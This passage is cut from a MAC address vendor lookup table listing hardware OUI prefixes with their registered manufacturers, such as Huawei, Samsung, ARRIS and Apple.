TIANYI COMHEART TELECOMCO.,LTD 00D78F Cisco Systems, Inc 886B0F Bluegiga Technologies OY 98541B Intel Corporate CC61E5 Motorola Mobility LLC, a Lenovo Company 404E36 HTC Corporation 9CB206 PROCENTEC 1C40E8 SHENZHEN PROGRESS&WIN TECHNOLOGY CO.,LTD C8D3FF Hewlett Packard 805EC0 YEALINK(XIAMEN) NETWORK TECHNOLOGY CO.,LTD. 307496 HUAWEI TECHNOLOGIES CO.,LTD 708A09 HUAWEI TECHNOLOGIES CO.,LTD 149D09 HUAWEI TECHNOLOGIES CO.,LTD 008025 Telit Wireless Solutions GmbH 0001E1 Kinpo Electronics, Inc. 006041 Yokogawa Digital Computer Corporation 14A78B Zhejiang Dahua Technology Co., Ltd. D0608C zte corporation 009EC8 Xiaomi Communications Co Ltd ACF7F3 Xiaomi Communications Co Ltd 102AB3 Xiaomi Communications Co Ltd 584498 Xiaomi Communications Co Ltd A086C6 Xiaomi Communications Co Ltd 7C1DD9 Xiaomi Communications Co Ltd C8662C Beijing Haitai Fangyuan High Technology Co,.Ltd. CC8CDA Shenzhen Wei Da Intelligent Technology Go.,Ltd D436DB Jiangsu Toppower Automotive Electronics Co., Ltd 64A68F Zhongshan Readboy Electronics Co.,Ltd 58EF68 Belkin International Inc. 003048 Super Micro Computer, Inc. 001438 Hewlett Packard Enterprise 50D753 CONELCOM GmbH 4C38D5 MITAC COMPUTING TECHNOLOGY CORPORATION 688AF0 zte corporation 000BA1 Fujikura Solutions Ltd. AC587B JCT Healthcare 30E171 Hewlett Packard 8C3C4A NAKAYO Inc 98CF53 BBK EDUCATIONAL ELECTRONICS CORP.,LTD. F4CB52 HUAWEI TECHNOLOGIES CO.,LTD 446EE5 HUAWEI TECHNOLOGIES CO.,LTD 2C282D BBK EDUCATIONAL ELECTRONICS CORP.,LTD. 80414E BBK EDUCATIONAL ELECTRONICS CORP.,LTD. 8C7716 LONGCHEER TELECOMMUNICATION LIMITED 000A08 Alpine Electronics, Inc. A0143D PARROT SA 00267E PARROT SA 00121C PARROT SA B85510 Zioncom Electronics (Shenzhen) Ltd. 000EE8 Zioncom Electronics (Shenzhen) Ltd. 001165 ZNYX Networks, Inc. 0060D5 AMADA MIYACHI Co., Ltd 000FDB Westell Technologies Inc. D404FF Juniper Networks C45444 QUANTA COMPUTER INC. 00269E QUANTA COMPUTER INC. 683563 SHENZHEN LIOWN ELECTRONICS CO.,LTD. 0003B2 Radware 2C600C QUANTA COMPUTER INC. 001E68 QUANTA COMPUTER INC. 00A09B QPSX COMMUNICATIONS, LTD. 00E08B QLogic Corporation 00080D Toshiba 0015B7 Toshiba 000569 VMware, Inc. 0008F1 Voltaire 001BDA UTStarcom Inc FC4DD4 Universal Global Scientific Industrial Co., Ltd. 402CF4 Universal Global Scientific Industrial Co., Ltd. 0010C6 Universal Global Scientific Industrial Co., Ltd. 00247E Universal Global Scientific Industrial Co., Ltd. 001639 Ubiquam Co., Ltd. 183919 Unicoi Systems 90A46A SISNET CO., LTD 14E7C8 Integrated Device Technology (Malaysia) Sdn. Bhd. 280DFC Sony Interactive Entertainment Inc. 0015C1 Sony Interactive Entertainment Inc. 0019C5 Sony Interactive Entertainment Inc. ACA213 Shenzhen Bilian electronic CO.,LTD 38F8CA OWIN Inc. 54D272 Nuki Home Solutions GmbH 9CA3A9 Guangzhou Juan Optical and Electronical Tech Joint Stock Co., Ltd D02212 IEEE Registration Authority F80278 IEEE Registration Authority 74E14A IEEE Registration Authority 78CA83 IEEE Registration Authority D0D94F IEEE Registration Authority 2C265F IEEE Registration Authority 7C70BC IEEE Registration Authority 58FCDB IEEE Registration Authority B01F81 IEEE Registration Authority 9893CC LG ELECTRONICS INC 3CCD93 LG ELECTRONICS INC E417D8 8BITDO TECHNOLOGY HK LIMITED 286C07 XIAOMI Electronics,CO.,LTD 84D931 Hangzhou H3C Technologies Co., Limited 44DC91 PLANEX COMMUNICATIONS INC. 9CD332 PLC Technology Ltd 94D723 Shanghai DareGlobal Technologies Co.,Ltd A89DD2 Shanghai DareGlobal Technologies Co.,Ltd 184A6F Alcatel-Lucent Shanghai Bell Co., Ltd A0F3E4 Alcatel-Lucent IPD 002105 Alcatel-Lucent IPD 000772 Alcatel-Lucent Shanghai Bell Co., Ltd F06BCA Samsung Electronics Co.,Ltd 3423BA SAMSUNG ELECTRO-MECHANICS(THAILAND) D022BE SAMSUNG ELECTRO-MECHANICS(THAILAND) D02544 SAMSUNG ELECTRO-MECHANICS(THAILAND) BC20A4 Samsung Electronics Co.,Ltd 14F42A Samsung Electronics Co.,Ltd BC851F Samsung Electronics Co.,Ltd B85E7B Samsung Electronics Co.,Ltd C462EA Samsung Electronics Co.,Ltd 0023D6 Samsung Electronics Co.,Ltd 002491 Samsung Electronics Co.,Ltd 001B98 Samsung Electronics Co.,Ltd 44F459 Samsung Electronics Co.,Ltd 34C3AC Samsung Electronics Co.,Ltd 94D771 Samsung Electronics Co.,Ltd 4C3C16 Samsung Electronics Co.,Ltd 9401C2 Samsung Electronics Co.,Ltd B43A28 Samsung Electronics Co.,Ltd A8C83A HUAWEI TECHNOLOGIES CO.,LTD 849FB5 HUAWEI TECHNOLOGIES CO.,LTD D0C1B1 Samsung Electronics Co.,Ltd F008F1 Samsung Electronics Co.,Ltd 782079 ID Tech 98234E Micromedia AG E80036 Befs co,. ltd 24590B White Sky Inc. Limited 10C60C Domino UK Ltd 3842A6 Ingenieurbuero Stahlkopf E866C4 Diamanti 78471D Samsung Electronics Co.,Ltd 3816D1 Samsung Electronics Co.,Ltd 004A77 zte corporation D48890 Samsung Electronics Co.,Ltd 002566 Samsung Electronics Co.,Ltd 00265F Samsung Electronics Co.,Ltd 001628 Magicard Ltd E4C801 BLU Products Inc 00A6CA Cisco Systems, Inc 9C7DA3 HUAWEI TECHNOLOGIES CO.,LTD F02FA7 HUAWEI TECHNOLOGIES CO.,LTD 883FD3 HUAWEI TECHNOLOGIES CO.,LTD A04E01 CENTRAL ENGINEERING co.,ltd. 245CBF NCSE 84CD62 ShenZhen IDWELL Technology CO.,Ltd DC9FDB Ubiquiti Networks Inc. B0958E TP-LINK TECHNOLOGIES CO.,LTD. 001A39 Merten GmbH&CoKG 007B18 SENTRY Co., LTD. 144D67 Zioncom Electronics (Shenzhen) Ltd. 34F39A Intel Corporate 20A8B9 Siemens C81B5C BCTech 3C2AF4 Brother Industries, LTD. 20719E SF Technology Co.,Ltd 7C95B1 Aerohive Networks Inc. 206C8A Aerohive Networks Inc. E49E12 FREEBOX SAS D854A2 Aerohive Networks Inc. E01C41 Aerohive Networks Inc. C8675E Aerohive Networks Inc. D4C8B0 Prime Electronics & Satellitics Inc. 000FC2 Uniwell Corporation A4E6B1 Shanghai Joindata Technology Co.,Ltd. B4B384 ShenZhen Figigantic Electronic Co.,Ltd D46A6A Hon Hai Precision Ind. Co.,Ltd. A8A5E2 MSF-Vathauer Antriebstechnik GmbH & Co KG 00425A Cisco Systems, Inc 000B4F Verifone 007686 Cisco Systems, Inc 74FF4C Skyworth Digital Technology(Shenzhen) Co.,Ltd A02C36 FN-LINK TECHNOLOGY LIMITED F8D027 Seiko Epson Corporation 44D244 Seiko Epson Corporation 9CAED3 Seiko Epson Corporation 341E6B HUAWEI TECHNOLOGIES CO.,LTD B47447 CoreOS ACC1EE Xiaomi Communications Co Ltd CCA219 SHENZHEN ALONG INVESTMENT CO.,LTD 94A04E Bostex Technology Co., LTD 8CA5A1 Oregano Systems - Design & Consulting GmbH 2C0BE9 Cisco Systems, Inc 2C6373 SICHUAN TIANYI COMHEART TELECOMCO., LTD 9CCC83 Juniper Networks 90505A unGlue, Inc 60D262 Tzukuri Pty Ltd 34FCB9 Hewlett Packard Enterprise 34049E IEEE Registration Authority B0E5ED HUAWEI TECHNOLOGIES CO.,LTD C81451 HUAWEI TECHNOLOGIES CO.,LTD C486E9 HUAWEI TECHNOLOGIES CO.,LTD D8C771 HUAWEI TECHNOLOGIES CO.,LTD F0C850 HUAWEI TECHNOLOGIES CO.,LTD 5425EA HUAWEI TECHNOLOGIES CO.,LTD 2816AD Intel Corporate 50A4D0 IEEE Registration Authority 00A0C8 Adtran Inc 1CB857 Becon Technologies Co,.Ltd. 70918F Weber-Stephen Products LLC 803A0A Integrated Device Technology (Malaysia) Sdn. Bhd. 002207 Inteno Broadband Technology AB 3C7F6F Telechips, Inc. 0060D3 AT&T 800010 AT&T 08006A AT&T 48A380 Gionee Communication Equipment Co.,Ltd. 5CBA37 Microsoft Corporation C4836F Ciena Corporation C87324Sow Cheng Technology Co. Ltd. 3CF862 Intel Corporate 88C3B3 SOVICO 54C415 Hangzhou Hikvision Digital Technology Co.,Ltd. E05124 NXP Semiconductors 005016 Molex Canada Ltd 0005F7 Analog Devices, Inc. A084CB SonicSensory,Inc. 7802F8 Xiaomi Communications Co Ltd 00238A Ciena Corporation 34E70B HAN Networks Co., Ltd 903809 Ericsson AB 542B57 Night Owl SP 00111B Targa Systems Div L-3 Communications B8224F SICHUAN TIANYI COMHEART TELECOMCO., LTD 702084 Hon Hai Precision Ind. Co., Ltd. F42B48 Ubiqam 68CC6E HUAWEI TECHNOLOGIES CO.,LTD 00108C Fujitsu Services Ltd 98D3D2 MEKRA Lang GmbH & Co. KG F4DC41 YOUNGZONE CULTURE (SHANGHAI) CORP 40F385 IEEE Registration Authority 9800C1 GuangZhou CREATOR Technology Co.,Ltd.(CHINA) 3034D2 Availink, Inc. CCCE1E AVM Audiovisuelles Marketing und Computersysteme GmbH 501E2D StreamUnlimited Engineering GmbH 40B034 Hewlett Packard C8B5AD Hewlett Packard Enterprise 88E628 Shenzhen Kezhonglong Optoelectronic Technology Co.,Ltd 9CDA3E Intel Corporate 3CA067 Liteon Technology Corporation D8325A Shenzhen YOUHUA Technology Co., Ltd 44650D Amazon Technologies Inc. 50F5DA Amazon Technologies Inc. 6854FD Amazon Technologies Inc. 40B4CD Amazon Technologies Inc. 2C86D2 Cisco Systems, Inc 802689 D-Link International 409F38 AzureWave Technology Inc. C4D197 Ventia Utility Services 58821D H. Schomäcker GmbH CCBE59 Calix Inc. EC4F82 Calix Inc. 000631 Calix Inc. B8D7AF Murata Manufacturing Co., Ltd. 3096FB Samsung Electronics Co.,Ltd F0EE10 Samsung Electronics Co.,Ltd A8A198 TCT mobile ltd 107D1A Dell Inc. 0827CE NAGANO KEIKI CO., LTD. 00D318 SPG Controls 2C3124 Cisco Systems, Inc F40343 Hewlett Packard Enterprise 00143F Hotway Technology Corporation F8BE0D A2UICT Co.,Ltd. 08EA40 SHENZHEN BILIAN ELECTRONIC CO.,LTD 00E0DA Alcatel-Lucent Enterprise 5CC6E9 Edifier International E8C1D7 Philips 1868CB Hangzhou Hikvision Digital Technology Co.,Ltd. F80BCB Cisco Systems, Inc 9CC8AE Becton, Dickinsonand Company B0359F Intel Corporate 24EA40 Helmholz GmbH & Co. KG 84A9C4 HUAWEI TECHNOLOGIES CO.,LTD A0F479 HUAWEI TECHNOLOGIES CO.,LTD 100501 PEGATRON CORPORATION 046E02 OpenRTLS Group 000FF4 Guntermann & Drunck GmbH 70DB98 Cisco Systems, Inc A43D78 GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD EC01EE GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD B83765 GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD 4448C1 Hewlett Packard Enterprise FC539E Shanghai Wind Technologies Co.,Ltd 9CAF6F ITEL MOBILE LIMITED 9C061B Hangzhou H3C Technologies Co., Limited 907065 Texas Instruments B8FFB3 MitraStar Technology Corp. A08E78 Sagemcom Broadband SAS E0D55E GIGA-BYTE TECHNOLOGY CO.,LTD. C4576E Samsung Electronics Co.,Ltd 90F1AA Samsung Electronics Co.,Ltd 78BDBC Samsung Electronics Co.,Ltd 20F452 Shanghai IUV Software Development Co. Ltd D47AE2 Samsung Electronics Co.,Ltd 88D274 zte corporation 986DC8 TOSHIBA MITSUBISHI-ELECTRIC INDUSTRIAL SYSTEMS CORPORATION 982DBA Fibergate Inc. 0040AA Valmet Automation 0080C2 IEEE 802.1 Working Group 68A40E BSH Hausgeräte GmbH 847933 profichip GmbH A0C9A0 Murata Manufacturing Co., Ltd. 447F77 Connected Home 009AD2 Cisco Systems, Inc 84C0EF Samsung Electronics Co.,Ltd 7C1C68 Samsung Electronics Co.,Ltd 745427 SHENZHEN FAST TECHNOLOGIES CO.,LTD 7C8BCA TP-LINK TECHNOLOGIES CO.,LTD. F023B9 IEEE Registration Authority 88B111 Intel Corporate 54D751 Proximus D8F1F0 Pepxim International Limited 0019F0 UNIONMAN TECHNOLOGY CO.,LTD 506E92 Innocent Technology Co., Ltd. CC4B73 AMPAK Technology, Inc. 900A1A Taicang T&W Electronics CC03D9 Cisco Meraki 506184 Avaya Inc F81547 Avaya Inc A01290 Avaya Inc B4A95A Avaya Inc BCADAB Avaya Inc 3C3A73 Avaya Inc 6CB227 Sony Video & Sound Products Inc. 60271C VIDEOR E. Hartig GmbH C46699 vivo Mobile Communication Co., Ltd. FC1A11 vivo Mobile Communication Co., Ltd. E0DDC0 vivo Mobile Communication Co., Ltd. 886AB1 vivo Mobile Communication Co., Ltd. 18E29F vivo Mobile Communication Co., Ltd. 0823B2 vivo Mobile Communication Co., Ltd. 6091F3 vivo Mobile Communication Co., Ltd. BC2F3D vivo Mobile Communication Co., Ltd. C4ABB2 vivo Mobile Communication Co., Ltd. F81D90 Solidwintech C8DB26 Logitech 4473D6 Logitech 70F35A Cisco Systems, Inc EC42B4 ADC Corporation 10CDB6 Essential Products, Inc. 08306B Palo Alto Networks 4C65A8 IEEE Registration Authority 6CF9D2 Chengdu Goods for the Road Electronic Technology C 3817E1 Technicolor CH USA Inc. 641666 Nest Labs Inc. 94147A vivo Mobile Communication Co., Ltd. 74D0DC Ericsson AB 88A3CC Amatis Controls 8C9F3B Qingdao Hisense Communications Co.,Ltd. 404229 Layer3TV, Inc B090D4 Shenzhen Hoin Internet Technology Co., Ltd 348F27 Ruckus Wireless 001D2E Ruckus Wireless 689234 Ruckus Wireless 044FAA Ruckus Wireless 0025C4 Ruckus Wireless 38FF36 Ruckus Wireless 2C5D93 Ruckus Wireless 543D37 Ruckus Wireless C4108A Ruckus Wireless D463C6 Motorola Mobility LLC, a Lenovo Company 00A050 CYPRESS SEMICONDUCTOR A44CC8 Dell Inc. 54666C Shenzhen YOUHUA Technology Co., Ltd 103034 Cara Systems 0840F3 Tenda Technology Co.,Ltd.Dongguan branch FC8B97 SHENZHEN GONGJIN ELECTRONICS CO.,LT 2CAB25 SHENZHEN GONGJIN ELECTRONICS CO.,LT AC6E1A SHENZHEN GONGJIN ELECTRONICS CO.,LT 24A534 SynTrust Tech International Ltd. F844E3 Taicang T&W Electronics 001F92 Avigilon Corporation 887A31 Velankani Electronics Pvt. Ltd. 8C0F6F PEGATRON CORPORATION 283545 SHENZHEN CHUANGWEI-RGB ELECTRONICS CO.,LTD 0C8FFF HUAWEI TECHNOLOGIES CO.,LTD 54B121 HUAWEI TECHNOLOGIES CO.,LTD 786256 HUAWEI TECHNOLOGIES CO.,LTD A80C63 HUAWEI TECHNOLOGIES CO.,LTD 5CC307 HUAWEI TECHNOLOGIES CO.,LTD 08A8A1 Cyclotronics Power Concepts, Inc A82BB5 Edgecore Networks Corporation 0015FF Novatel Wireless Solutions, Inc. 788C4D Indyme Solutions, LLC A8B2DA FUJITSU LIMITED 0CB937 Ubee Interactive Co., Limited 2880A2 Novatel Wireless Solutions, Inc. 0CB459 Marketech International Corp. 84AA9C MitraStar Technology Corp. 0C4B54 TP-LINK TECHNOLOGIES CO.,LTD. C47154 TP-LINK TECHNOLOGIES CO.,LTD. 44EA4B Actlas Inc. 5C6984 NUVICO F86EEE HUAWEI TECHNOLOGIES CO.,LTD E4FB5D HUAWEI TECHNOLOGIES CO.,LTD 5C546D HUAWEI TECHNOLOGIES CO.,LTD 508F4C Xiaomi Communications Co Ltd 0027F8 Brocade Communications Systems, Inc. 50EB1A Brocade Communications Systems, Inc. CC4E24 Brocade Communications Systems, Inc. 889471 Brocade Communications Systems, Inc. D81FCC Brocade Communications Systems, Inc. 002067 Private 0060DF Brocade Communications Systems, Inc. 000533 Brocade Communications Systems, Inc. 00223F NETGEAR 001B2F NETGEAR E091F5 NETGEAR 744401 NETGEAR E0469A NETGEAR 08BD43 NETGEAR C40415 NETGEAR 9CD36D NETGEAR 20E52A NETGEAR 4494FC NETGEAR 008EF2 NETGEAR B0B98A NETGEAR 104E89 Garmin International 30053F JTI Co.,Ltd. 0050B5 FICHET SECURITE ELECTRONIQUE 04209A Panasonic Corporation AVC Networks Company 8CC121 Panasonic Corporation AVC Networks Company 20C6EB Panasonic Corporation AVC Networks Company 40CE24 Cisco Systems, Inc B0350B MOBIWIRE MOBILES (NINGBO) CO.,LTD 28A6AC seca gmbh & co. kg 00054F Garmin International E048D3 MOBIWIRE MOBILES (NINGBO) CO.,LTD 24C42F Philips Lifeline B8EE0E Sagemcom Broadband SAS 386EA2 vivo Mobile Communication Co., Ltd. 58B42D YSTen Technology Co.,Ltd 181456 Nokia Corporation E4EC10 Nokia Corporation 9C4A7B Nokia Corporation D86162 Wistron Neweb Corporation 48EC5B Nokia 0009BC Utility, Inc 0016ED Utility, Inc 80615F Beijing Sinead Technology Co., Ltd. 74F661 Schneider Electric Fire & Security Oy 885DFB zte corporation 245FDF KYOCERA CORPORATION 8CD2E9 YOKOTE SEIKO CO., LTD. 186024 Hewlett Packard 706BB9 Cisco Systems, Inc 74F91A Onface 6CC147 Xiamen Hanin Electronic Technology Co., Ltd 8CFEB4 VSOONTECH ELECTRONICS CO., LIMITED CCF957 u-blox AG 0076B1 Somfy-Protect By Myfox SAS 74373B UNINET Co.,Ltd. 7C6456 Samsung Electronics Co.,Ltd D0666D Shenzhen Bus-Lan Technology Co., Ltd. 448F17 Samsung Electronics Co., Ltd. ARTIK B8D94D Sagemcom Broadband SAS 10FCB6 mirusystems CO.,LTD 04D6AA SAMSUNG ELECTRO-MECHANICS(THAILAND) 08661F Palo Alto Networks 0C5842 DME Micro 80C755 Panasonic Appliances Company A0648F ASKEY COMPUTER CORP 04848A 7INOVA TECHNOLOGY LIMITED E81DA8 Ruckus Wireless 3CC079 Shenzhen One-Nine Intelligent Electronic Science and Technology Co., Ltd 746EE4 Asia Vital Components Co.,Ltd. F44C70 Skyworth Digital Technology(Shenzhen) Co.,Ltd D490E0 Topcon Electronics GmbH & Co. KG 9C9C40 SICHUAN TIANYI COMHEART TELECOMCO., LTD 98C5DB Ericsson AB 043A0D SM Optics S.r.l. 9CE063 Samsung Electronics Co.,Ltd EC7D11 vivo Mobile Communication Co., Ltd. 18CC88 Hitachi Johnson Controls Air E8361D Sense Labs, Inc. A0950C China Mobile IOTCompany Limited ECF8EB SICHUAN TIANYI COMHEART TELECOMCO., LTD F06E0B Microsoft Corporation 480EEC TP-LINK TECHNOLOGIES CO.,LTD. 5800BB Juniper Networks 801F02 Edimax Technology Co. Ltd. 000E2E Edimax Technology Co. Ltd. 701F53 Cisco Systems, Inc 1046B4 FormericaOE 50C9A0 SKIPPER AS F04F7C Private 0CB2B7 Texas Instruments 7C010A Texas Instruments 001530 Dell EMC 08001B Dell EMC 8CCF09 Dell EMC 10A4BE SHENZHEN BILIAN ELECTRONIC CO.,LTD 5C865C Samsung Electronics Co.,Ltd 142882 MIDICOM ELECTRONICS CO.LTD 80C5F2 AzureWave Technology Inc. 80B708 Blue Danube Systems, Inc 805E0C YEALINK(XIAMEN) NETWORK TECHNOLOGY CO.,LTD. 3C2C99 Edgecore Networks Corporation 48555F Fiberhome Telecommunication Technologies Co.,LTD F8C96C Fiberhome Telecommunication Technologies Co.,LTD 34BF90 Fiberhome Telecommunication Technologies Co.,LTD D467E7 Fiberhome Telecommunication Technologies Co.,LTD 04C1B9 Fiberhome Telecommunication Technologies Co.,LTD 5CE3B6 Fiberhome Telecommunication Technologies Co.,LTD 9C88AD Fiberhome Telecommunication Technologies Co.,LTD 809FAB Fiberhome Telecommunication Technologies Co.,LTD D00492 Fiberhome Telecommunication Technologies Co.,LTD 48F97C Fiberhome Telecommunication Technologies Co.,LTD D4AD2D Fiberhome Telecommunication Technologies Co.,LTD 105887 Fiberhome Telecommunication Technologies Co.,LTD 68572D HANGZHOU AIXIANGJI TECHNOLOGY CO., LTD 10C25A Technicolor CH USA Inc. 8C5973 Zyxel Communications Corporation 94FE9D SHENZHEN GONGJIN ELECTRONICS CO.,LT 04D13A Xiaomi Communications Co Ltd 247E12 Cisco Systems, Inc E42D7B China Mobile IOT Company Limited 04ECBB Fiberhome Telecommunication Technologies Co.,LTD 0C5415 Intel Corporate 84DB9E Aifloo AB B0B3AD HUMAX Co., Ltd. 1831BF ASUSTek COMPUTER INC. 7C2586 Juniper Networks 001BD9 Edgewater Wireless Systems Inc 543E64 Fiberhome Telecommunication Technologies Co.,LTD D4F786 Fiberhome Telecommunication Technologies Co.,LTD EC7FC6 ECCEL CORPORATION SAS A433D7 MitraStar Technology Corp. B0ACD2 zte corporation 7C2A31 Intel Corporate 0CF346 Xiaomi Communications Co Ltd 202D23 Collinear Networks Inc. 4818FA Nocsys 780F77 HangZhou Gubei Electronics Technology Co.,Ltd 0C08B4 HUMAX Co., Ltd. 00BF77 Cisco Systems, Inc 003DE8 LG Electronics (Mobile Communications) 002FD9 Fiberhome Telecommunication Technologies Co.,LTD 885FE8 IEEE Registration Authority A067BE Sicon srl 089734 Hewlett Packard Enterprise F8E44E MCOT INC. 903D68 G-Printec, Inc. F00E1D Megafone Limited CCC079 Murata Manufacturing Co., Ltd. 348B75 LAVA INTERNATIONAL(H.K) LIMITED E89AFF Fujian LANDI Commercial Equipment Co.,Ltd 0007A8 Haier Group Technologies Ltd E4434B Dell Inc. 688975 nuoxc 441E98 Ruckus Wireless 08E689 Apple, Inc. 74E7C6 ARRIS Group, Inc. 74F612 ARRIS Group, Inc. DC4517 ARRIS Group, Inc. F80BBE ARRIS Group, Inc. 6CC1D2 ARRIS Group, Inc. 145BD1 ARRIS Group, Inc. B077AC ARRIS Group, Inc. B81619 ARRIS Group, Inc. A41588 ARRIS Group, Inc. 38700C ARRIS Group, Inc. FC51A4 ARRIS Group, Inc. 287AEE ARRIS Group, Inc. CC65AD ARRIS Group, Inc. 789684 ARRIS Group, Inc. 90C792 ARRIS Group, Inc. E8ED05 ARRIS Group, Inc. 000CE5 ARRIS Group, Inc. 000E5C ARRIS Group, Inc. 0015A8 ARRIS Group, Inc. 001700 ARRIS Group, Inc. 0019A6 ARRIS Group, Inc. 002180 ARRIS Group, Inc. 0026BA ARRIS Group, Inc. 002641 ARRIS Group, Inc. 002374 ARRIS Group, Inc. 0025F2 ARRIS Group, Inc. 0015CF ARRIS Group, Inc. 386BBB ARRIS Group, Inc. 00E06F ARRIS Group, Inc. 0004BD ARRIS Group, Inc. 5C571A ARRIS Group, Inc. 001DD0 ARRIS Group, Inc. 001DD5 ARRIS Group, Inc. 001DCF ARRIS Group, Inc. 0014E8 ARRIS Group, Inc. 0019C0 ARRIS Group, Inc. 986B3D ARRIS Group, Inc. 901ACA ARRIS Group, Inc. 641269 ARRIS Group, Inc. 001CC3 ARRIS Group, Inc. 14D4FE ARRIS Group, Inc. 70B14E ARRIS Group, Inc. D82522 ARRIS Group, Inc. 707630 ARRIS Group, Inc. F40E83 ARRIS Group, Inc. 608CE6 ARRIS Group, Inc. E8825B ARRIS Group, Inc. 6402CB ARRIS Group, Inc. F0FCC8 ARRIS Group, Inc. FC6947 Texas Instruments E07DEA Texas Instruments F0B5D1 Texas Instruments FCE66A Industrial Software Co 7836CC GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD 3078C2 Innowireless / QUCELL Networks 00233D Laird Technologies D818D3 Juniper Networks 6CAF15 Webasto SE 94193A Elvaco AB 3868DD INVENTEC CORPORATION 3C6AA7 Intel Corporate FC6BF0 TOPWELL INTERNATIONAL HOLDINDS LIMITED 1100AA Private 80029C Gemtek Technology Co., Ltd. D4FC13 Fiberhome Telecommunication Technologies Co.,LTD B05365 China Mobile IOT Company Limited 000E8F Sercomm Corporation. 944A0C Sercomm Corporation. 1C965A WEIFANG GOERTEK ELECTRONICS CO.,LTD D4CA6D Routerboard.com 000C42 Routerboard.com A83E0E HMD Global Oy 10C172 HUAWEI TECHNOLOGIES CO.,LTD 80B575 HUAWEI TECHNOLOGIES CO.,LTD B4EC02 ALPS ELECTRIC CO.,LTD. 08D46A LG Electronics (Mobile Communications) 54C57A Sunnovo International Limited 34E911 vivo Mobile Communication Co., Ltd. 348584 Aerohive Networks Inc. F8B7E2 Cisco Systems, Inc EC9F0D IEEE Registration Authority A4B52E Integrated Device Technology (Malaysia) Sdn. Bhd. C4CD82 Hangzhou Lowan Information Technology Co., Ltd. E0AADB Nanjing PANENG Technology Development Co.,Ltd E820E2 HUMAX Co., Ltd. 64CBA3 Pointmobile ECF451 Arcadyan Corporation 485929 LG Electronics (Mobile Communications) 34FCEF LG Electronics (Mobile Communications) 002483 LG Electronics (Mobile Communications) 001C62 LG Electronics (Mobile Communications) 583F54 LG Electronics (Mobile Communications) 40B0FA LG Electronics (Mobile Communications) A8922C LG Electronics (Mobile Communications) 98D6F7 LG Electronics (Mobile Communications) 505527 LG Electronics (Mobile Communications) 0034DA LG Electronics (Mobile Communications) A09169 LG Electronics (Mobile Communications) C863F1 Sony Interactive Entertainment Inc. 88365F LG Electronics (Mobile Communications) 3817C3 Hewlett Packard Enterprise 9C8C6E Samsung Electronics Co.,Ltd 588A5A Dell Inc. 84509A Easy Soft TV Co., Ltd 10AE60 Private DC2834 HAKKO Corporation D8E004 Vodia Networks Inc C86C87 Zyxel Communications Corporation 5067F0 Zyxel Communications Corporation E4186B Zyxel Communications Corporation E4F042 Google, Inc. B0982B Sagemcom Broadband SAS 4048FD IEEE Registration Authority 000C50 Seagate Technology 0011C6 Seagate Technology C4C563 TECNO MOBILE LIMITED BC91B5 Infinix mobility limited 88D039 TCL Technoly Electronics(Huizhou).,Ltd 240D6C SMND FC0A81 Extreme Networks, Inc. 20E09C Nokia 34BA38 PAL MOHAN ELECTRONICS PVT LTD 9829A6 COMPAL INFORMATION (KUNSHAN) CO., LTD. 04197F Grasphere Japan BCFFEB Motorola Mobility LLC, a Lenovo Company CC40D0 NETGEAR B42D56 Extreme Networks, Inc. 005D73 Cisco Systems, Inc 9C32CE CANON INC. 7440BB Hon Hai Precision Ind. Co.,Ltd. 685ACF Samsung Electronics Co.,Ltd 00BE9E Fiberhome Telecommunication Technologies Co.,LTD 044F17 HUMAX Co., Ltd. B4F7A1 LG Electronics (Mobile Communications) C0A8F0 Adamson Systems Engineering 38C9A9 SMART High Reliability Solutions, Inc. 283B82 D-Link International C400AD Advantech Technology (CHINA) Co., Ltd. 345A06 SHARP Corporation 0C8BD3 ITEL MOBILE LIMITED 04AC44 Holtek Semiconductor Inc. F4DCA5 DAWON DNS 501CB0 Cisco Systems, Inc C4FFBC IEEE Registration Authority 785860 HUAWEI TECHNOLOGIES CO.,LTD F89066 Nain Inc. B4FBF9 HUAWEI TECHNOLOGIES CO.,LTD B42EF8 Eline Technology co.Ltd D8445C DEV Tecnologia Ind Com Man Eq LTDA 785DC8 LG Electronics 7C3953 zte corporation 48C796 Samsung Electronics Co.,Ltd 804E70 Samsung Electronics Co.,Ltd 4CEFC0 Amazon Technologies Inc. D46D6D Intel Corporate CC8E71 Cisco Systems, Inc CC3B58 Curiouser Products Inc 38F554 HISENSE ELECTRIC CO.,LTD 1894C6 ShenZhen Chenyee Technology Co., Ltd. 14A72B currentoptronics Pvt.Ltd AC075F HUAWEI TECHNOLOGIES CO.,LTD 8817A3 Integrated Device Technology (Malaysia) Sdn. Bhd. 007147 Amazon Technologies Inc. 788C54 Ping Communication D466A8 Riedo Networks Ltd 30B7D4 Hitron Technologies. Inc 3880DF Motorola Mobility LLC, a Lenovo Company 7CB232 Hui Zhou Gaoshengda Technology Co.,LTD 2CD974 Hui Zhou Gaoshengda Technology Co.,LTD 58B3FC SHENZHEN RF-LINK TECHNOLOGY CO.,LTD. BCAB7C TRnP KOREA Co Ltd 00A021 General Dynamics Mission Systems 949990 VTC Telecommunications 0C8063 TP-LINK TECHNOLOGIES CO.,LTD. 3C15FB HUAWEI TECHNOLOGIES CO.,LTD B0416F Shenzhen Maxtang Computer Co.,Ltd F898EF HUAWEI TECHNOLOGIES CO.,LTD 1409DC HUAWEI TECHNOLOGIES CO.,LTD DC415F Apple, Inc. 30636B Apple, Inc. F45C89 Apple, Inc. 68DBCA Apple, Inc. 044BED Apple, Inc. 6C8DC1 Apple, Inc. 38CADA Apple, Inc. A4D18C Apple, Inc. 186590 Apple, Inc. 64B0A6 Apple, Inc. 84FCAC Apple, Inc. 6C19C0 Apple, Inc. 20AB37 Apple, Inc. 203CAE Apple, Inc. 748D08 Apple, Inc. A03BE3 Apple, Inc. 7C6D62 Apple, Inc. 40D32D Apple, Inc. D83062 Apple, Inc. C42C03 Apple, Inc. 7CC537 Apple, Inc. 70CD60 Apple, Inc. C0D012 Apple, Inc. D4DCCD Apple, Inc. 484BAA Apple, Inc. F80377 Apple, Inc. 14BD61 Apple, Inc. CC25EF Apple, Inc. B8782E Apple, Inc. 000502 Apple, Inc. 0010FA Apple, Inc. 000393 Apple, Inc. 0016CB Apple, Inc. 409C28 Apple, Inc. 78886D Apple, Inc. A85C2C Apple, Inc. 00DB70 Apple, Inc. 0C5101 Apple, Inc. 086D41 Apple, Inc. 04D3CF Apple, Inc. BCEC5D Apple, Inc. 80B03D Apple, Inc. C83C85 Apple, Inc. A04EA7 Apple, Inc. 0017F2 Apple, Inc. 001B63 